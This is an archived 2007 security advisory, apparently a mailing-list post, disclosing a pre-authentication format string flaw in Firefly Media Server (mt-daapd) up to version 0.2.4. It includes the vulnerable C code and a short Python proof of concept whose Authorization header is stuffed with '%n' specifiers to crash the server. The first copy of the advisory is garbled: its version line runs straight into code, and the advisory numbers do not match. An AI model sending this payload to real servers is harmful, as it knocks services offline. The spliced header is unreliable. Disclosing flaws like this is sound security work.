[UPH-07-03] Firefly Media Server remote format string vulnerability Nov 02 2007 06:00PM
nnp (version5 gmail com) (1 replies)
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[UPH-07-02]
UnprotectedHex.com security advisory [07-02]
Discovered by nnp

Discovered : 1 August 2007
Reported to the vendor : 13 October 2007
Fixed by vendor : 21 October 2007

Vulnerability class : Remote format string

Affected product : mt-dappd/Firefly Media Server
Version : request_vars,"HTTP_USER",username);
ws_addarg(&pwsc->request_vars,"HTTP_PASSWD",password);

int ws_addarg(ARGLIST *root, char *key, char *fmt, ...) {
...
va_start(ap,fmt);
vsnprintf(value,sizeof(value),fmt,ap);
va_end(ap);

Proof of concept code : Yes

- --
http://www.smashthestack.org
http://www.unprotectedhex.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (Darwin)
Comment: http://firegpg.tuxfamily.org

iD8DBQFHK8b8bP10WPHfgnQRAoYPAKCfzLo5QPxDKBbOI8Hl+hTnKS5OWACgoOmq
CM98n8wCZ3AVdi2/vVPhnzk=
=lrAq
-----END PGP SIGNATURE-----
#!C:\python25\python25.exe

"""
Advisory : [UPH-07-03]

mt-dappd/Firefly media server remote format string vulnerability
Discovered by nnp
http://www.unprotectedhex.com

"""

import sys

import socket

import base64

if len(sys.argv) != 3:

sys.exit(-1)

fmt_str = base64.b64encode("%n"*16 + ":" + "password")

kill_msg = "GET /xml-rpc?method=stats HTTP/1.1\r\nAuthorization: Basic " + fmt_str + "\r\n\r\n"

host = sys.argv[1]

port = sys.argv[2]

print '[+] Host : ' + host

print '[+] Port : ' + port

print "[+] Sending "

print kill_msg

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, int(port)))

s.send(kill_msg)

s.close()

[UPH-07-02]
UnprotectedHex.com security advisory [07-02]
Discovered by nnp

Discovered : 1 August 2007
Reported to the vendor : 13 October 2007
Fixed by vendor : 21 October 2007

Vulnerability class : Remote format string

Affected product : mt-dappd/Firefly Media Server
Version : <= 0.2.4

Product details:
www.fireflymediaserver.org/
'''
The purpose of this project is built the best server software to serve digital music to the Roku Soundbridge and iTunes; to be able to serve the widest variety of digital music content over the widest range of devices
'''

File/Function/line : webserver.c/ws_dispatcher,ws_addarg/916-920,1171

Cause: This is a vsnprintf() related format string bug. The ws_addarg function uses its third argument as the format specifier and in this case this is user controlled as it is the decoded username from the Authorization field of the request header. The call to ws_addarg takes place pre auth so any format string should be possible. There is no restriction on the length of the format string either. The password field would also suffice as a location for the fmt string. This vulnerability could be used to execute arbitrary code on the affected system.

ws_decodepassword(auth,&username,&password);
if(auth_handler(username,password))
can_dispatch=1;
ws_addarg(&pwsc->request_vars,"HTTP_USER",username);
ws_addarg(&pwsc->request_vars,"HTTP_PASSWD",password);

int ws_addarg(ARGLIST *root, char *key, char *fmt, ...) {
...
va_start(ap,fmt);
vsnprintf(value,sizeof(value),fmt,ap);
va_end(ap);

Proof of concept code : Yes

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus